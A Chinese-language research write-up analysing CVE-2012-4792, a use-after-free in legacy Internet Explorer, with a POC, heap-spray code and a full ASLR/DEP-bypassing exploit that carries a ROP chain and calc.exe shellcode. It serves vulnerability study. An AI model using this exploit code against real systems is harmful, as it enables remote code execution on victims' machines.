Internet Explorer漏洞分析(四)——CVE-2012-4792

发布者：Gcow安全团队

发布于：2021-04-18 21:40

Internet Explorer漏洞分析(四)——CVE-2012-4792

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2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载
3.本篇文章是CVE-2012-4792漏洞的分析入手 详细的阐述漏洞的成因以及如何去利用该漏洞
4.本篇文章十分适合漏洞安全研究人员进行交流学习
5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽

0x01 漏洞信息

0x01.1 漏洞简述

编号：CVE-2012-4792
类型：释放重引用(Use After Free)
漏洞影响：远程代码执行(RCE)
CVSS 2.0：9.3

mshtml.dll在释放CButton对象后没有更新CDoc中Default Element对此地址引用，以致后续CElement::FindDefaultElem会重新获取此地址，传递给CMarkup::OnLoadStatusDone函数，使用已释放内存。

0x01.2 漏洞影响

Microsoft Internet Explorer 6 through 8

0x01.3 修复方案

[MS13-008]https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-008

0x02 漏洞分析

0x02.1 分析环境

OS版本：Windows 7 Service Pack 1 x86
Internet Explorer版本：8.0.7601.17514
mshtml.dll版本：8.0.7601.17514
jscript.dll版本：5.8.7601.17514

0x02.2 详细分析

分析用POC：

<!doctype html>
<html>
<head>
<script> 
function exploit()
{
     var e0 = null;
     var e1 = null;
     var e2 = null; 
     try {
          e0 = document.getElementById("a");
          //Math.tan(2,1);                    
          e1 = document.createElement("div")
          //Math.sin(2,1);                    
          e2 = document.createElement("q"); 
          //Math.cos(2,1);                    
          e1.applyElement(e2);                                        
          e1.appendChild(document.createElement('button'));
          e1.applyElement(e0);              
          e2.innerHTML = "";                
          e2.appendChild(document.createElement('body'));
     } catch(e) { }
     CollectGarbage();                      
} 
</script> 
</head>
<body onload="exploit()">
<form id="a">
</form>
</body>
</html>

借助Math.tan、Math.sin、Math.cos(分别对应jscript!Tan、jscript!sin、jscript!cos)及mshtml!CreateElement可观察各对象的创建。document.createElement("div")：

document.createElement("q")：

document.createElement('button')：

下面来看如何创建DOM流，跟进CElement::applyElement函数分析，其创建位于CElement::EnsureInMarkup中：

CElement::EnsureInMarkup—>CDoc::CreateMarkupWithElement—>CTreeNode::CTreeNode：

其执行情况如下：

调用CTreeNode::CTreeNode完成：

可以看出div元素(即e1)的CTreeNode—>parent初始指向CRootElement，CTreeNode类结构如下所示：

class CTreeNode
{
public: 
    CElement * element;
    CTreeNode * parent;
    BYTE        _etag;                              // 0-7:     element tag
    BYTE        _fFirstCommonAncestorNode : 1;    // 8:       for finding common ancestor
    BYTE        _fInMarkup : 1;    // 9:       this node is in a markup and shouldn't die
    BYTE        _fInMarkupDestruction : 1;    // 10:      Used by CMarkup::DestroySplayTree
    BYTE        _fHasLookasidePtr : 2;    // 11-12    Lookaside flags
    BYTE        _fBlockNess : 1;    // 13:      Cached from format -- valid if _iFF != -1
    BYTE        _fHasLayout : 1;    // 14:      Cached from format -- valid if _iFF != -1
    BYTE        _fUnused : 1;    // 15:      Unused
    SHORT       _iPF;                               // 16-31:   Paragraph Format
                                                // DWORD 2
    SHORT       _iCF;                               // 0-15:    Char Format
    SHORT       _iFF;

    CTreePos    _tpBegin;
    CTreePos    _tpEnd;
    DWORD      unknow1;
    DWORD      unknow2;
    DWORD      unknow3;
};

将CTreeNode对象地址写入Element对象偏移0x14位置处：

CMarkup::ReparentDirectChildren将q元素(即e2)的CTreeNode地址写至div元素CTreeNode—>parent中：

CElement类部分结构含义如下：

+0x10  CAttributeCollection
   +0x00 The total size of the Attribute Array<<2
   +0x04 Number of Attributes
   +0x08  CAttrArray
   +0x0c
+0x14  CTreeNode

对POC执行完e1.applyElement(e0);语句后所创建对象作一总结：

e0 Address:0x0026e4c8(Form Element)
 CTreeNode Address:0x00307cb0
e1 Address:0x002db1e8(Div Element)
 CTreeNode Address:0x00307af8
e2 Address:0x002dad38(Phrase Element)
 CTreeNode Address:0x00307b50
button Address:0x00311b48
 CTreeNode Address:0x00307ba8

对象布局如下：

下面开始漏洞分析部分。e1.appendChild(document.createElement('button'));对应函数为CElement::appendChild，对于button元素，其会执行CElement::SetDefaultElem函数，将该元素设为Default Element：

具体执行如下：

e2.innerHTML = "";会将Phrase内元素清空：

e2.appendChild(document.createElement('body'));：

CollectGarbage();对应函数为jscript!JsCollectGarbage，它会调用mshtml!PlainTrackerRelease对button元素进行释放：

但其释放结束后并未更新CDoc对象中Default Element(Offset 0x1A8)，以致后续mshtml!CElement::FindDefaultElem函数使用已释放内存，触发漏洞：

0x02.3 利用分析

0x02.3a Heapspray

首先是对已释放CButton对象内存进行占位，可通过两种方式——className与title。className：

<!doctype html>
<html>
<head>
     <script>
     var arr_button = new Array();
    var junk=unescape("%u4141%u4141");
    while (junk.length < (0x100- 6)/2)
    {
     junk+=junk;
    }
     function helloWorld() {
          var e=document.createElement('div');
          var e0 = null;
          var e1 = null;
          var e2 = null;
for(i =0; i < 20; i++)
{
                document.createElement('button');
}
          try {
               e0 = document.getElementById("a");
               e1 = document.getElementById("b");
               e2 = document.createElement("q");
               e1.applyElement(e2);
               e1.appendChild(document.createElement('button'));
               e1.applyElement(e0);
               e2.outerText = "";
               e2.appendChild(document.createElement('body'));
          } catch(e) { }
          CollectGarbage();
          for(var i = 0; i<0x50; i++)
          {
               arr_button[i]= document.createElement("button");
               arr_button[i].className= junk.substring(0,(0x58-6)/2);
          }

     }

     </script>
</head>
<body onload="eval(helloWorld())">
     <form id="a">
     </form>
     <dfn id="b">
     </dfn>
</body>
</html>

title：

<!doctype html>
<html>
<head>
<script>
var arr_div = new Array();
var junk=unescape("%u4141%u4141");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
function helloWorld() {
var e0 = null;
var e1 = null;
var e2 = null;

try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i = 0; i<0x50; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-6)/2);
}
}

</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>

(注：上述两处代码均来自[用ClassName占位和title占位的分析]http://t.zoukankan.com/Lamboy-p-3866940.html)

两种方式执行流对比：

其最终都会调用_HeapAllocString，其会调用ULongAdd函数将substring传递第二个参数加1，之后乘2传递给HeapAlloc分配该数值大小堆块：

创建CButton对象时申请堆块大小为0x58，如此一来，需要修改junk.substring(0,(0x58-6)/2)为junk.substring(0,(0x58-2)/2)：

完成占位：

之后进行Heap Spray：

<!doctype html>
<html>
<head>
<script>
    var arr_div = new Array();
    var junk=unescape("%u0c0c%u0c0c");
    while (junk.length < (0x100- 6)/2)
    {
     junk+=junk;
    }
    var nops=unescape("%u9090%u9090");
    while(nops.length<0x1000) nops+=nops;
    var code =unescape("%u4141%u4141%u4141%u4141");//can be ROP or Shellcode
    var offset=0x5F4;
    var junk_offset=nops.substring(0,0x5F4);
    var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);
    while(shellcode.length<0x40000)
    {
        shellcode+=shellcode;
    }
    var block = shellcode.substring(0,0x40000);
    var heap_chunks = new Array();
    for (var i=1; i < 500; i++) 
        heap_chunks[i] = block.substring(0,0x40000);
    function helloWorld() 
    {
          var e0 = null;
          var e1 = null;
          var e2 = null;

          try 
          {
               e0 = document.getElementById("a");
               e1 = document.getElementById("b");
               e2 = document.createElement("q");
               e1.applyElement(e2);
               e1.appendChild(document.createElement('button'));
               e1.applyElement(e0);
               e2.outerText = "";
               e2.appendChild(document.createElement('body'));
          } catch(e) { }
          CollectGarbage();
           for(var i = 0; i<0x50; i++)
          {
               arr_div[i]= document.createElement("div");
               arr_div[i].title= junk.substring(0,(0x58-2)/2);
          }
     }

     </script>
</head>
<body onload="eval(helloWorld())">
     <form id="a">
     </form>
     <dfn id="b">
     </dfn>
</body>
</html>

var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);语句中0x5F4是因为要实现Shellcode精准Heap Spray到0x0c0c0c0c位置，堆块上数据从0x0024开始，0x0c0c-0x0024=0xbe8，该值除以2即为0x5f4：

最后是Bypass ASLR&DEP。加入如下语句：

<SCRIPT language="JavaScript">     location.href = 'ms-help:' </SCRIPT>

会加载C:\Program Files\Common Files\microsoft shared\Help\hxds.dll文件，该文件并未开启ASLR，故可利用其构造ROP链(注：该文件随Office版本不同而不同，笔者采用Office 2010进行构造)。stackpivot有两处可供使用——0x51be4a41与0x51bd29c7，最终构造Exploit如下：

<!doctype html> <html> <head> <SCRIPT language="JavaScript">     location.href = 'ms-help:' </SCRIPT> <script>     var arr_div = new Array();     var junk=unescape("%u0b30%u0c0c");     while (junk.length < (0x100- 6)/2)     {       junk+=junk;     }     var nops=unescape("%u9090%u9090");     while(nops.length<0x400) nops+=nops;     while(nops.length<0x5f2) nops+=unescape("%ub30e%u51c3");     nops+=unescape("%u198c%u51be");     var code =unescape(    "%u29c7%u51bd%u34b4%u51bf%u10b8%u51bd%u2d97%u51bd%ucba0%u51bd"+    "%u79e2%u51c3%u9683%u51c5%u6fbd%u51c5%ufffe%ua17f"+    "%u1e01%u51c1%u92d8%u51c3%ue67d%u51bf%u6fbd%u51c5"+    "%ufc3d%ua17f%u1e01%u51c1%u592b%u51bf%ucf3e%u51be"+    "%ud150%u51c5%uf563%u51be%u7402%u51c0%u6fbd%u51c5"+    "%u9090%u9090%ua8dc%u51bd"+                        //ROP    "%uc481%uf254%uffff%u2ebf%ue4ed%udbc0%ud9c8%u2474" +         //shellcode calc.exe    "%u58f4%uc933%u33b1%u7831%u0312%u1278%uee83%u06e9" +    "%u1235%u4f19%ueab6%u30da%u0f3e%u62eb%u4424%ub35e" +    "%u082e%u3853%ub862%u4ce0%ucfab%ufa41%ufe8d%uca52" +    "%uac11%u4c91%uaeee%uaec5%u61cf%uae18%u9f08%ue2d3" +    "%ud4c1%u1346%ua865%u125a%ua7a9%u6ce3%u77cc%uc697" +    "%ua7cf%u5c08%u5f87%u3a22%u5e38%u58e7%u2904%uab8c" +    "%ua8fe%ue244%u9bff%ua9a8%u14c1%ub325%u9206%uc6d6" +    "%ue17c%ud16b%u9846%u54b7%u3a5b%uce33%ubbbf%u8990" +    "%ub734%udd5d%udb13%u3260%ue728%ub5e9%u6eff%u91a9" +    "%u2bdb%ubb69%u917a%uc4dc%u7d9d%u6080%u6fd5%u13d5" +    "%ue5b4%u9128%u40c2%ua92a%ue2cc%u9843%u6d47%u2513" +    "%uca82%u6feb%u7a8f%u3664%u3f45%uc9e9%u03b3%u4a14" +    "%ufb36%u52e3%ufe33%ud4a8%u72af%ub0a0%u21cf%u90c1" +    "%ua4b3%u7851%u431a%u1bd2%u4162");     var offset=0x5F4;     var junk_offset=nops.substring(0,0x5F4);     var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);     while(shellcode.length<0x40000)     {       shellcode+=shellcode;     }     var block = shellcode.substring(0,0x40000);     var heap_chunks = new Array();     for (var i=1; i < 500; i++)        heap_chunks[i] = block.substring(0,0x40000);     function helloWorld()      {       var e0 = null;       var e1 = null;       var e2 = null;       try        {         e0 = document.getElementById("a");         e1 = document.getElementById("b");         e2 = document.createElement("q");         e1.applyElement(e2);         e1.appendChild(document.createElement('button'));         e1.applyElement(e0);         e2.outerText = "";         e2.appendChild(document.createElement('body'));       } catch(e) { }       CollectGarbage();       for(var i = 0; i<0x50; i++)       {         arr_div[i]= document.createElement("div");         arr_div[i].title= junk.substring(0,(0x58-2)/2);       }    } </script> </head> <body onload="eval(helloWorld())">   <form id="a">   </form>   <dfn id="b">   </dfn> </body> </html>

成功弹出计算器：

0x02.3b Non-Heapspray

来自[Happy New Year Analysis of CVE-2012-4792]http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792：

<!doctype html>   <HTML XMLNS:t ="urn:schemas-microsoft-com:time">   <head>   <meta>   <?IMPORT namespace="t" implementation="#default#time2">   </meta>   <script>   function helloWorld()  {   e_form = document.getElementById("formelm");   e_div = document.getElementById("divelm");   animvalues = "\u4141\u4141"   while(animvalues.length < 0xDC)  {   animvalues += animvalues   }   for(i = 0; i < 21; i++)  {   animvalues += ";cyan";   } for(i =0; i < 20; i++)  {   document.createElement('button');   } e_div.appendChild(document.createElement('button'))    e_div.firstChild.applyElement(e_form);   e_div.innerHTML = ""   e_div.appendChild(document.createElement('body'));   CollectGarbage();   try  {   a = document.getElementById('myanim');   a.values = animvalues;   }   catch(e) {}   }   </script>   </head>   <body onload="eval(helloWorld())">   <t:ANIMATECOLOR id="myanim"/>   <div id="divelm"></div>   <form id="formelm">   </form>   </body>   </html>

0x03 参阅链接

[CVE-2012-4792 IE 0day (CButton use after free)漏洞分析]https://www.freebuf.com/articles/system/6702.html
[用ClassName占位和title占位的分析]http://t.zoukankan.com/Lamboy-p-3866940.html
[CVE-2012-4792 漏洞利用学习笔记]https://blog.csdn.net/Hanxinyi930702/article/details/101457604
[Bypassing Microsoft Windows ASLR with a little help by MS-Help]https://developer.aliyun.com/article/449548
[一种非堆喷射的IE浏览器漏洞利用技术研究]http://netinfo-security.org/CN/article/downloadArticleFile.do?attachType=PDF&id=5535
[Happy New Year Analysis of CVE-2012-4792]http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/
[IE DOM 树概览]https://www.jianshu.com/p/8cd37ffe9a98

漏洞分析

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